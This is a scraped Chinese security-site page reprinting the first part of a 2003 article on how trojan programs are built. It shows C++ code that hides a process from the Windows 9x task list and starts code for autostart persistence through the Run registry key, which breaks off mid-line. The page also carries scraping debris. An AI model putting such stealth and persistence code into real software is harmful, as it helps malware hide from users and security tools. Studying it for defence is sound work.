个人产品
企业产品
安全信息
病毒专栏 | 漏洞专栏 | 木马专栏 | 防护专栏 | 安全业界 | 毒霸活动 | 热点专题 | 漫画安全 | 期刊订阅
302 Found

302 Found


nginx/1.0.5
告诉您的位置:首页 > 病毒专栏 > 病毒知识 > 正文
透视木马程序开发技术:病毒源代码详解(上)
2003年12月18日10:04:16 天极网 
302 Found

302 Found


nginx/1.0.5
  当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。

  
  出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。

  
  WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

  
  {

  
  try

  
  {

  
  DWORD dwVersion = GetVersion();//取得Windows的版本号

  
  if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表

  
  {

  
   int (CALLBACK *rsp)(DWORD,DWORD);

  
   HINSTANCE dll=LoadLibrary("KERNEL32.DLL");//装入KERNEL32.DLL

  
  rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");//找到RegisterServiceProcess的入口

  
  rsp(NULL,1);//注册服务

  
  FreeLibrary(dll);//释放DLL模块

  
  }

  
  }

  
  catch (Exception &exception)//处理异常事件

  
  {

  
  //处理异常事件

  
  }

  
  return 0;

  
  }

  
  3、程序的自加载运行技术

  
  让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run键值来实现自启动的程序:

  
  自装载部分:

  
  HKEY hkey;

  
  AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">\\")+PName
[未结束]
[1] [2] [3] [4]     【】
【我要发表评论】【内容指正】【论坛】【推荐给好友】·【 】【打印】·【顶部】【关闭窗口
【相关文章】 【去论坛】
· Longhorn新花招亮相:能有效拦截蠕虫与木马 2003-12-11 10:59
· Linux核心程序被置木马病毒 但已经及时清除 2003-12-02 10:47
· 新特洛伊木马开始蔓延 伪装色情图片控制PC 2003-11-26 10:18
· 商业图像处理软件Firehand最新发现木马程序 2003-11-10 14:20
· 认清恶意程序:解析危险的特洛伊木马(图) 2003-11-04 11:17
· 了解"木马"工作原理 学习木马病毒通用解法 2003-11-01 13:51
· 剖析:防范最新GOP攻击 保护你心爱的QQ密码 2003-10-23 16:44
· 查看开放端口判断木马或其他黑客程序的方法 2003-10-23 16:41
· 警告《杀死比尔》电影字幕文件可能携带木马 2003-10-21 10:16
· 网上谣言:《半条命2》的代码中含有木马病毒 2003-10-17 10:51
·金山毒霸单机版讨论区
·毒霸6测试专区
·金山网镖讨论区
·金山毒霸网络版讨论区
·毒霸在线业务专题讨论区
·安全软件讨论区
·病毒救援
【相关专题】
· 病毒木马入侵招数大曝光专题专题 2002-07-15 10:15
· 盗QQ密码-木马GOP专题 2001-12-31 23:15
302 Found

302 Found


nginx/1.0.5
302 Found

302 Found


nginx/1.0.5
·全民围剿 新春无毒 
·
毒霸、网镖新功能体验版 
·
毒霸网络版2.0 sp1发布 
·
毒霸6新禧礼包惊喜登场
·
毒霸网络版 人人有礼
·毒霸网络版“租用服务”
·
金山毒霸网络版大事件
·第三次缉毒万里行专题
·JPEG图片病毒专题
·金山引爆“双响炮”计划
·金山毒霸6增强版介绍
·
十面埋伏围剿木马发布会
·
6.12北京用户产品座谈会
·
金山"网游防火墙"产品
·
反电子垃圾新功略专题
·“金山毒霸再获桂冠”
·金山“安全体验风暴”
·“冲击波”病毒之罪?
·全球黑客攻击专题
·金山毒霸V金山网镖V介绍
·金山V攻略详解专题
·金山毒霸&智冠捆绑销售
·金山软件爱心服务活动
·2003年病毒疫情调查专题
更多...
302 Found

302 Found


nginx/1.0.5
·病毒短信 ·在线杀毒
·病毒上报 ·专杀工具
·产品答疑 ·
媒体合作
金山简介 | 业务合作 | 广告服务 | 招聘信息 | 客服中心 | 网页报错 | 添加毒霸到QQ上
© 2007 Kingsoft Corp. 增值电信业务经营许可证B2-20040288号